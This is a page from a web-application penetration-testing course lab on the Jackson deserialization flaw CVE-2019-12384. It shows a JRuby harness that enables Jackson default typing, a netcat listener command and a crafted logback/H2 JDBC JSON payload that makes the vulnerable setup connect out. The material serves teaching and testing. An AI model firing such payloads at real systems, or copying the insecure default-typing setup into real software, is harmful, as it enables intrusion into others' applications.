Advanced Web Application

Lab 6: Jackson CVE-2019-12384

 

 

---

 

 

© 2020 Caendra Inc. | WAPTXv2 

29 

test.rb  is  used  to  load  arbitrary  polymorphic  classes  easily  in  a  given  directory  and  prepare  the 

Jackson environment to meet the first two requirements (1,2) listed above

 

require 'java' 

Dir["./classpath/*.jar"].each do |f| 

 

require f 

end 

java_import 'com.fasterxml.jackson.databind.ObjectMapper' 

java_import 'com.fasterxml.jackson.databind.SerializationFeature' 

 

content = ARGV[0] 

 

puts "Mapping" 

mapper = ObjectMapper.new 

mapper.enableDefaultTyping() 

mapper.configure(SerializationFeature::FAIL_ON_EMPTY_BEANS, false); 

puts "Serializing" 

obj = mapper.readValue(content, java.lang.Object.java_class) # invokes all 

the setters 

puts "objectified" 

puts "stringified: " + mapper.writeValueAsString(obj) 

 

To try this attack on the provided Virtual Machine, perform the below. 

▪ 

Open a new terminal and start a listener, as follows. 

o  nc -nlvp 8080 

▪ 

Open a new terminal and execute the following. 

o  cd /home/developer/Downloads/vulnerable/doyensec/CVE-2019-12384 

o  jruby 

test.rb 

"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", 

{\"url\":\"jdbc:h2:tcp://localhost:8080/~/test\"}]" 

 

You should see a connection being made to your netcat listener. 

---

 

 

© 2020 Caendra Inc. | WAPTXv2